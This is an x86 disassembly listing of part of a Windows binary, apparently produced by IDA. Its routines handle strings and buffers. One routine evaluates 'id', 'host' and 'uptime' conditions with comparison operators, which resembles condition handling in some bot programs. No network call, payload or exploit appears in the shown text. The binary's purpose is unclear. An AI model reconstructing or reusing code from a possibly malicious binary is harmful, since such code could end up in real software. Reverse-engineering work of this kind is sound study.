		repne scasb
		mov	eax, [esi+18h]
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	ebp
		push	eax
		nop
		call	near ptr 71AB428Ah
		mov	edx, eax
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		cmp	edx, ecx
		jnb	short loc_4128CE
		mov	[esi+16h], al
		mov	[esi+15h], al
		mov	eax, [esi+18h]
		push	eax
		nop
		call	near ptr 71AB9639h
		mov	ecx, offset word_448C9E
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		call	sub_401537
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_4128CE:				; CODE XREF: sub_412870+33j
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebp
		retn	4
sub_412870	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412900	proc near		; CODE XREF: sub_401E0Bj

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= byte ptr  200Ch

		mov	eax, 2000h
		call	sub_436840
		mov	ecx, [esp+arg_2004]
		lea	eax, [esp+arg_2008]
		push	eax
		push	ecx
		lea	edx, [esp+8]
		push	2000h
		push	edx
		nop
		call	near ptr 77C3FF8Ah
		mov	ecx, [esp+10h+arg_2000]
		add	esp, 10h
		lea	eax, [esp+0]
		push	eax
		call	sub_401582
		add	esp, 2000h
		retn
sub_412900	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412970	proc near		; CODE XREF: sub_401118j

var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_412970
		push	eax
		mov	al, [esp+0Ch+arg_0]
		mov	large fs:0, esp
		sub	esp, 30h
		test	al, al
		push	esi
		mov	esi, ecx
		jz	short loc_4129A7
		xor	al, al
		pop	esi
		mov	ecx, [esp+3Ch+var_C]
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_4129A7:				; CODE XREF: sub_412970+21j
		lea	ecx, [esp+40h+var_3C]
		call	sub_401424
		mov	al, [esp+40h+arg_4]
		mov	[esp+40h+var_4], 0
		test	al, al
		jz	short loc_4129C8
		mov	eax, dword_447100
		push	eax
		jmp	short loc_4129CF
; ---------------------------------------------------------------------------


loc_4129C8:				; CODE XREF: sub_412970+4Ej
		mov	ecx, dword_447108
		push	ecx


loc_4129CF:				; CODE XREF: sub_412970+56j
		lea	ecx, [esp+44h+var_3C]
		call	sub_4015D7
		push	ebx
		lea	ecx, [esp+44h+var_24]
		call	sub_401424
		mov	edx, [esp+44h+arg_8]
		mov	eax, [esp+44h+arg_C]
		push	edx
		push	eax
		lea	ecx, [esp+4Ch+var_3C]
		mov	byte ptr [esp+4Ch+var_4], 1
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+50h+var_24]
		push	offset dword_443CEC
		push	ecx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+44h+var_24]
		call	sub_4014D3
		push	eax
		mov	ecx, esi
		call	sub_401582
		lea	ecx, [esp+44h+var_24]
		mov	bl, al
		mov	byte ptr [esp+44h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+44h+var_3C]
		mov	[esp+44h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+44h+var_C]
		mov	al, bl
		pop	ebx
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
sub_412970	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412AA0	proc near		; CODE XREF: sub_401848j

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= dword	ptr  200Ch
arg_200C	= dword	ptr  2010h
arg_2010	= dword	ptr  2014h
arg_2014	= byte ptr  2018h

		mov	eax, 2000h
		call	sub_436840
		mov	ecx, [esp+arg_2010]
		lea	eax, [esp+arg_2014]
		push	eax
		push	ecx
		lea	edx, [esp+8]
		push	2000h
		push	edx
		nop
		call	near ptr 77C3FF8Ah
		mov	eax, [esp+10h+arg_200C]
		mov	edx, [esp+10h+arg_2008]
		add	esp, 10h
		lea	ecx, [esp+0]
		push	eax
		mov	eax, [esp+4+arg_2004]
		push	ecx
		mov	ecx, [esp+8+arg_2000]
		push	edx
		push	eax
		call	sub_401118
		add	esp, 2000h
		retn
sub_412AA0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412B20	proc near		; CODE XREF: sub_401D0Cj
		push	esi
		mov	esi, ecx
		call	sub_401FB9
		mov	eax, [esi+1Ch]
		inc	eax
		mov	[esi+1Ch], eax
		pop	esi
		retn
sub_412B20	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412B50	proc near		; CODE XREF: sub_401FB9j
		push	esi
		mov	esi, ecx
		xor	al, al
		mov	[esi+16h], al
		mov	[esi+15h], al
		mov	eax, [esi+18h]
		push	eax
		call	near ptr 71AB9639h
		nop
		mov	ecx, offset word_448C9E
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		call	sub_401537
		pop	esi
		retn
sub_412B50	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412B90	proc near		; CODE XREF: sub_401721j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dl, [ecx]
		xor	ecx, ecx
		mov	[eax], dl
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		retn	4
sub_412B90	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412BC0	proc near		; CODE XREF: sub_401B54j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40170D
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_401294
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		pop	esi
		retn
sub_412BC0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_412C10	proc near		; CODE XREF: sub_401F00j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_412C10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	6
		push	9
		push	4Fh
		push	3
		push	9
		push	7
		push	0Fh
		lea	eax, [esp+48h+var_24]
		push	0Ch
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017E4
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
sub_412C10	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_412CB0:				; CODE XREF: ___:loc_40100Aj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43994E
		push	eax
		mov	large fs:0, esp
		sub	esp, 90h
		add	ecx, 4
		push	ebp
		push	esi
		mov	esi, [esp+0A8h]
		lea	ebp, [esi+7Eh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_412FD6
		push	ebx
		push	edi
		push	offset asc_443600 ; " "
		lea	eax, [esp+44h]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	offset asc_443600 ; " "
		lea	ecx, [esp+2Ch]
		push	2
		push	ecx
		mov	ecx, esi
		mov	dword ptr [esp+0B4h], 0
		call	sub_4016AE
		push	offset asc_443600 ; " "
		lea	edx, [esp+14h]
		push	3
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 1
		call	sub_4016AE
		push	offset asc_443600 ; " "
		lea	eax, [esp+74h]
		push	0
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 2
		call	sub_4016AE
		mov	edi, eax
		lea	ecx, [esp+10h]
		mov	byte ptr [esp+0A8h], 3
		call	sub_4013D9
		lea	ecx, [esp+28h]
		mov	ebx, eax
		call	sub_4013D9
		lea	ecx, [esp+40h]
		add	ebx, eax
		call	sub_4013D9
		mov	ecx, edi
		add	ebx, eax
		call	sub_4013D9
		lea	ecx, [esp+70h]
		lea	edi, [ebx+eax+4]
		mov	byte ptr [esp+0A8h], 2
		call	sub_401226
		lea	ecx, [esp+58h]
		push	edi
		push	ecx
		mov	ecx, esi
		call	sub_401E2E
		push	offset asc_443600 ; " "
		lea	edx, [esp+8Ch]
		push	4
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 4
		call	sub_4016AE
		lea	ecx, [esp+70h]
		push	1
		mov	bl, 5
		push	ecx
		mov	ecx, eax
		mov	[esp+0B0h], bl
		call	sub_401E2E
		push	eax
		mov	ecx, ebp
		mov	byte ptr [esp+0ACh], 6
		call	sub_40200E
		lea	ecx, [esp+70h]
		mov	[esp+0A8h], bl
		call	sub_401226
		mov	byte ptr [esp+0A8h], 4
		lea	ecx, [esp+88h]
		call	sub_401226
		lea	edx, [esp+58h]
		mov	ecx, esi
		push	edx
		call	sub_40200E
		push	offset asc_443D40 ; "!="
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412E35
		xor	edi, edi


loc_412E35:				; CODE XREF: ___:00412E31j
		push	offset asc_443D3C ; "=="
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412E4C
		mov	edi, 1


loc_412E4C:				; CODE XREF: ___:00412E45j
		push	offset asc_443D38 ; ">"
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412E63
		mov	edi, 2


loc_412E63:				; CODE XREF: ___:00412E5Cj
		push	offset asc_443D34 ; "<"
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412E7A
		mov	edi, 3


loc_412E7A:				; CODE XREF: ___:00412E73j
		push	offset aId	; "id"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412ED4
		test	edi, edi
		jnz	short loc_412EAA
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		mov	ecx, offset word_44759A
		call	sub_4012EE
		test	eax, eax
		jz	short loc_412ED4
		jmp	short loc_412EC7
; ---------------------------------------------------------------------------


loc_412EAA:				; CODE XREF: ___:00412E8Ej
		cmp	edi, 1
		jnz	short loc_412ED4
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		mov	ecx, offset word_44759A
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412ED4


loc_412EC7:				; CODE XREF: ___:00412EA8j
		push	0
		push	esi
		mov	ecx, offset byte_4472B7
		call	sub_401A32


loc_412ED4:				; CODE XREF: ___:00412E8Aj
					; ___:00412EA6j ...
		push	offset aHost	; "host"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F27
		test	edi, edi
		jnz	short loc_412F08
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		mov	ecx, offset byte_4D60DD
		call	sub_4013E3
		test	eax, eax
		jnz	loc_412F89
		jmp	short loc_412F7C
; ---------------------------------------------------------------------------


loc_412F08:				; CODE XREF: ___:00412EE8j
		cmp	edi, 1
		jnz	short loc_412F89
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		mov	ecx, offset byte_4D60DD
		call	sub_4013E3
		test	eax, eax
		jz	short loc_412F89
		jmp	short loc_412F7C
; ---------------------------------------------------------------------------


loc_412F27:				; CODE XREF: ___:00412EE4j
		push	offset aUptime	; "uptime"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F89
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		mov	ebx, eax
		call	sub_401654
		test	edi, edi
		jnz	short loc_412F5D
		cmp	eax, ebx
		jz	short loc_412F89
		jmp	short loc_412F7C
; ---------------------------------------------------------------------------


loc_412F5D:				; CODE XREF: ___:00412F55j
		cmp	edi, 1
		jnz	short loc_412F68
		cmp	eax, ebx
		jnz	short loc_412F89
		jmp	short loc_412F7C
; ---------------------------------------------------------------------------


loc_412F68:				; CODE XREF: ___:00412F60j
		cmp	edi, 2
		jnz	short loc_412F73
		cmp	eax, ebx
		jle	short loc_412F89
		jmp	short loc_412F7C
; ---------------------------------------------------------------------------


loc_412F73:				; CODE XREF: ___:00412F6Bj
		cmp	edi, 3
		jnz	short loc_412F89
		cmp	eax, ebx
		jge	short loc_412F89


loc_412F7C:				; CODE XREF: ___:00412F06j
					; ___:00412F25j ...
		push	0
		push	esi
		mov	ecx, offset byte_4472B7
		call	sub_401A32


loc_412F89:				; CODE XREF: ___:00412F00j
					; ___:00412F0Bj ...
		lea	ecx, [esp+58h]
		mov	byte ptr [esp+0A8h], 2
		call	sub_401226
		lea	ecx, [esp+10h]
		mov	byte ptr [esp+0A8h], 1
		call	sub_401226
		lea	ecx, [esp+28h]
		mov	byte ptr [esp+0A8h], 0
		call	sub_401226
		lea	ecx, [esp+40h]
		mov	dword ptr [esp+0A8h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		mov	al, 1
		pop	ebx
		jmp	short loc_412FD8
; ---------------------------------------------------------------------------


loc_412FD6:				; CODE XREF: ___:00412CE9j
		mov	al, 1


loc_412FD8:				; CODE XREF: ___:00412FD4j
		mov	ecx, [esp+98h]
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 9Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4130E0	proc near		; CODE XREF: sub_401654j
		call	near ptr 27E083Eh
		nop
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	ecx, edx
		mov	eax, 0C22E4507h
		shr	ecx, 6
		imul	ecx
		mov	eax, edx
		add	eax, ecx
		sar	eax, 10h
		mov	edx, eax
		shr	edx, 1Fh
		add	eax, edx
		retn
sub_4130E0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_413120	proc near		; CODE XREF: sub_401FFAj

var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_413120
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+20h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+20h+var_4], 0
		call	sub_401749
		lea	edi, [esi+60h]
		lea	eax, [esp+20h+var_12]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+24h+var_4], 1
		call	sub_401F05
sub_413120	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Fh]
		lea	ebx, [esi+6Ch]
		push	ecx
		mov	ecx, ebx
		mov	byte ptr [esp+20h], 2
		call	sub_401843
; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+1Ch], 3
		mov	dword ptr [esi], offset	off_43E044
		call	sub_401924
		mov	ecx, ebx
		call	sub_401C62
		mov	ecx, [esp+14h]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4131F0	proc near		; CODE XREF: sub_401CF8j ___:00401E10j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401C8F
		test	[esp+4+arg_0], 1
		jz	short loc_413208
		push	esi
		call	sub_4367E2
		add	esp, 4


loc_413208:				; CODE XREF: sub_4131F0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4131F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413220	proc near		; CODE XREF: sub_401C8Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_413220
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+1Ch+var_10], esi
		mov	dword ptr [esi], offset	off_43E044
		lea	edi, [esi+60h]
		mov	[esp+1Ch+var_4], 3
		mov	ecx, edi
		call	sub_401924
		lea	ebx, [esi+6Ch]
		mov	ecx, ebx
		call	sub_401C62
		mov	ecx, ebx
		mov	byte ptr [esp+1Ch+var_4], 2
		call	sub_4014B5
		mov	ecx, edi
		mov	byte ptr [esp+1Ch+var_4], 1
		call	sub_4011B8
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+1Ch+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+1Ch+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+1Ch+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_413220	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4132E0	proc near		; CODE XREF: sub_4019F6j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4132E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	14h
		push	15h
		push	0Fh
		push	7
		push	0Fh
		lea	eax, [esp+58h+var_3C]
		push	0Ch
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+32h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_4132E0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		lea	edx, [esp+28h]
		push	13h
		push	edx
		call	sub_4019B5
		add	esp, 14h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017E4
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4133D0	proc near		; CODE XREF: sub_401CD0j

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4133D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0
		call	sub_4017E4
		test	eax, eax
		jz	short loc_413477
		lea	ecx, [esp+18h+var_14]
		call	sub_402252
		add	esi, 6Ch
		lea	eax, [esp+18h+var_10]
		push	eax
		mov	ecx, esi
		call	sub_4018F2
		mov	ecx, [eax]
		lea	edx, [esp+18h+var_10]
		mov	[esp+18h+var_14], ecx
		push	edx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401339
		test	al, al
		jz	short loc_413477


loc_413438:				; CODE XREF: sub_4133D0+A5j
		lea	eax, [esp+18h+arg_0]
		lea	ecx, [esp+18h+var_14]
		push	eax
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 19h
		call	sub_401B72
		test	eax, eax
		lea	ecx, [esp+18h+var_14]
		jz	short loc_41349C
		call	sub_40118B
		lea	ecx, [esp+18h+var_10]
		push	ecx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401339
		test	al, al
		jnz	short loc_413438


loc_413477:				; CODE XREF: sub_4133D0+2Ej
					; sub_4133D0+66j
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	eax, eax
		pop	esi
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	18h
; ---------------------------------------------------------------------------


loc_41349C:				; CODE XREF: sub_4133D0+86j
		call	sub_40135C
		mov	esi, [eax]
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	18h
sub_4133D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413510	proc near		; CODE XREF: sub_402112j

var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4

		push	0FFFFFFFFh
		push	offset SEH_413510
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebx, ecx
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0
		call	sub_4017E4
		test	eax, eax
		jz	loc_4135E3
		lea	ecx, [esp+28h+var_18]
		call	sub_401037
		lea	ebp, [ebx+60h]
		lea	eax, [esp+28h+var_14]
		push	eax
		mov	ecx, ebp
		call	sub_401983
		mov	ecx, [eax]
		lea	edx, [esp+28h+var_14]
		mov	[esp+28h+var_18], ecx
		push	edx
		mov	ecx, ebp
		call	sub_402234
		push	eax
		lea	ecx, [esp+2Ch+var_18]
		call	sub_401AD7
		test	al, al
		jz	short loc_4135E3


loc_41357F:				; CODE XREF: sub_413510+D1j
		lea	ecx, [esp+28h+var_18]
		call	sub_4011D1
		mov	edi, [eax]
		sub	esp, 18h
		lea	eax, [esp+40h+arg_0]
		mov	ecx, esp
		mov	[esp+40h+var_10], esp
		push	eax
		call	sub_4014C9
		mov	ecx, ebx
		call	sub_401CD0
		mov	esi, eax
		test	esi, esi
		jz	short loc_4135AC
		mov	edi, [esi]


loc_4135AC:				; CODE XREF: sub_413510+98j
		lea	ecx, [esp+28h+arg_0]
		push	ecx
		mov	ecx, edi
		call	sub_401B72
		test	eax, eax
		jz	short loc_41360B
		test	esi, esi
		jnz	short loc_41360B
		lea	ecx, [esp+28h+var_18]
		call	sub_4018B6
		lea	edx, [esp+28h+var_14]
		mov	ecx, ebp
		push	edx
		call	sub_402234
		push	eax
		lea	ecx, [esp+2Ch+var_18]
		call	sub_401AD7
		test	al, al
		jnz	short loc_41357F


loc_4135E3:				; CODE XREF: sub_413510+31j
					; sub_413510+6Dj
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	eax, eax


loc_4135F6:				; CODE XREF: sub_413510+10Ej
		mov	ecx, [esp+28h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------


loc_41360B:				; CODE XREF: sub_413510+AAj
					; sub_413510+AEj
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	eax, edi
		jmp	short loc_4135F6
sub_413510	endp

; ---------------------------------------------------------------------------
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413670	proc near		; CODE XREF: sub_401F46j

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_413670
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		lea	ecx, [esp+14h+arg_0]
		mov	[esp+14h+var_4], 1
		call	sub_4017E4
		test	eax, eax
		jz	short loc_413714
		lea	ecx, [esp+14h+var_14]
		call	sub_401E1F
		lea	eax, [esp+14h+var_10]
		lea	ecx, [esp+14h+arg_18]
		push	eax
		call	sub_4012E9
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_10]
		mov	[esp+14h+var_14], ecx
		push	edx
		lea	ecx, [esp+18h+arg_18]
		call	sub_401D89
		push	eax
		lea	ecx, [esp+18h+var_14]
		call	sub_401D5C
		test	al, al
		jz	short loc_413714


loc_4136D6:				; CODE XREF: sub_413670+A2j
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esp+14h+var_14]
		push	eax
		call	sub_401FA5
		mov	ecx, [eax]
		call	sub_401B72
		test	eax, eax
		jz	short loc_413746
		lea	ecx, [esp+14h+var_14]
		call	sub_4020A4
		lea	ecx, [esp+14h+var_10]
		push	ecx
		lea	ecx, [esp+18h+arg_18]
		call	sub_401D89
		push	eax
		lea	ecx, [esp+18h+var_14]
		call	sub_401D5C
		test	al, al
		jnz	short loc_4136D6


loc_413714:				; CODE XREF: sub_413670+2Bj
					; sub_413670+64j
		lea	ecx, [esp+14h+arg_0]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+14h+arg_18]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401578
		xor	eax, eax
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	24h
; ---------------------------------------------------------------------------


loc_413746:				; CODE XREF: sub_413670+7Dj
		push	esi
		lea	ecx, [esp+18h+var_14]
		call	sub_401FA5
		mov	esi, [eax]
		lea	ecx, [esp+18h+arg_0]
		mov	byte ptr [esp+18h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+18h+arg_18]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401578
		mov	ecx, [esp+18h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	24h
sub_413670	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4137E0	proc near		; CODE XREF: sub_4011DBj

var_A4		= byte ptr -0A4h
var_8C		= byte ptr -8Ch
var_74		= byte ptr -74h
var_64		= byte ptr -64h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4137E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 98h
		push	esi
		xor	esi, esi
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], esi
		call	sub_4017E4
		test	eax, eax
		jz	loc_413913
		lea	eax, [esp+0A8h+var_64]
		push	eax
		call	sub_401A55
		add	esp, 4
		lea	ecx, [esp+0A8h+var_A4]
		call	sub_401424
		push	offset byte_446F70
		lea	ecx, [esp+0ACh+var_A4]
		mov	byte ptr [esp+0ACh+var_4], 1
		call	sub_4015D7
		lea	ecx, [esp+0A8h+arg_0]
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+0ACh+arg_0]
		call	sub_4014D3
		lea	ecx, [esp+0ACh+var_64]
		push	eax
		push	ecx
		call	sub_401C12
		lea	edx, [esp+0B4h+var_64]
		lea	eax, [esp+0B4h+var_74]
		push	edx
		push	eax
		call	sub_402158
		add	esp, 14h


loc_41387B:				; CODE XREF: sub_4137E0+E8j
		lea	ecx, [esp+0A8h+var_8C]
		call	sub_401424
		xor	ecx, ecx
		lea	edx, [esp+0A8h+var_8C]
		mov	cl, [esp+esi+0A8h+var_74]
		mov	byte ptr [esp+0A8h+var_4], 2
		push	ecx
		push	offset a2_2x	; "%2.2X"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
